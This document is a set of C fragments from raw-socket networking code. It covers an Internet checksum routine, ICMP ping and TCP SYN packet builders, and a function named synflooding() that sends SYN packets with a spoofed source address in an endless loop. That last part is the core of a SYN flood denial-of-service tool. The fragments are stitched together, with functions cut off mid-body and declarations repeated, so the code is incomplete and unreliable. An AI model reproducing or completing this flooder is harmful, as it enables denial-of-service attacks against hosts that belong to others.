unsigned short in_cksum(unsigned short *addr, int len) { int sum=0; unsigned short res=0; while( len > 1) { sum += *addr++; len -=2; } if( len == 1) { *((unsigned char *)(&res))=*((unsigned char *)addr); sum += res; } sum = (sum >>16) + (sum & 0xffff); sum += (sum >>16) ; res = ~sum; return res; }
void ping(int signo) { int len; int i; static unsigned short seq=0; char buff[8192]; struct timeval tv; struct icmp *icmph=(struct icmp *)buff; long *data=(long *)icmph->icmp_data; bzero(buff, 8192); gettimeofday(&tv, NULL); icmph->icmp_type=ICMP_ECHO; icmph->icmp_code=0; icmph->icmp_cksum=0; icmph->icmp_id=0; icmph->icmp_seq=0; icmph->icmp_id=getpid()&0xffff; icmph->icmp_seq=seq++;
void dumppkt(char *buf, int len) { struct ip *iph=(struct ip *)buf; int i=iph->ip_hl*4; struct icmp *icmph=(struct icmp *)&buf[i]; long *data=( long*)icmph->icmp_data; struct timeval tv;
ptcph->saddr=src.sin_addr.s_addr; ptcph->daddr=dst.sin_addr.s_addr; ptcph->unused=0; ptcph->protocol=IPPROTO_TCP; ptcph->tcplen=htons(20); /* we just send header , no data */
tcph->th_sport=src.sin_port; /* port num already net_byte_order */ tcph->th_dport=dst.sin_port; tcph->th_seq=htonl(123456); tcph->th_ack=0; tcph->th_x2=0; tcph->th_off=5; tcph->th_flags=TH_SYN; tcph->th_win=htons(65535); tcph->th_sum=0; tcph->th_urp=0;
/* include pesudo header and tcp header*/ tcph->th_sum=in_cksum((unsigned short*)ptcph, 20+12); len=sendto(rawsock, tcph, 20, 0, (struct sockaddr *)&dst, sizeof(dst)); if( len < 0) perror("sendto() SYN error"); else printf("sendto() SYN send %d bytes\n", len);
} void dump(char *buff, int len) { struct ip *iph=(struct ip *)buff; int i=iph->ip_hl*4; struct tcphdr *tcph=(struct tcphdr *)&buff[i];
unsigned short in_cksum(unsigned short *ptr,int nbytes); int synflooding(); void sigint(int signo); struct sockaddr_in target; struct sockaddr_in pesudo; int rawsock;
int synflooding() { int i, j, k; struct packet{ struct iphdr ip; struct tcphdr tcp; }packet;
struct pseudo_header{ /* For TCP header checksum */ unsigned int source_address; unsigned int dest_address; unsigned char placeholder; unsigned char protocol; unsigned short tcp_length; struct tcphdr tcp; }pseudo_header; bzero(&packet, sizeof(packet)); bzero(&pseudo_header, sizeof(pseudo_header)); if((rawsock=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0) { perror("socket()"); exit(1); } packet.tcp.dest=target.sin_port; /* 16-bit Destination port */ packet.tcp.ack_seq=0; /* 32-bit Acknowledgement Number */ packet.tcp.doff=5; /* Data offset */ packet.tcp.res1=0; /* reserved */ packet.tcp.res2=0; /* reserved */ packet.tcp.urg=0; /* Urgent offset valid flag */ packet.tcp.ack=0; /* Acknowledgement field valid flag */ packet.tcp.psh=0; /* Push flag */ packet.tcp.rst=0; /* Reset flag */ packet.tcp.syn=1; /* Synchronize sequence numbers flag */ packet.tcp.fin=0; /* Finish sending flag */ packet.tcp.window=htons(242); /* 16-bit Window size */ packet.tcp.urg_ptr=0; /* 16-bit urgent offset */ packet.ip.version=4; /* 4-bit Version */ packet.ip.ihl=5; /* 4-bit Header Length */ packet.ip.tos=0; /* 8-bit Type of service */ packet.ip.tot_len=htons(40); /* 16-bit Total length */ packet.ip.id=getpid(); /* 16-bit ID field */ packet.ip.frag_off=0; /* 13-bit Fragment offset */ packet.ip.ttl=255; /* 8-bit Time To Live */ packet.ip.protocol=IPPROTO_TCP; /* 8-bit Protocol */ packet.ip.check=0; /* 16-bit Header checksum (filled in below) */ packet.ip.saddr=pesudo.sin_addr.s_addr; /* 32-bit Source Address */ packet.ip.daddr=target.sin_addr.s_addr; /* 32-bit Destination Address */
packet.ip.check=in_cksum((unsigned short *)&packet.ip,20); while(1) { /* set src port and ISN */ packet.tcp.source=htons(1025+rand()%60000); packet.tcp.seq=761013+rand()%100000; packet.tcp.check=0;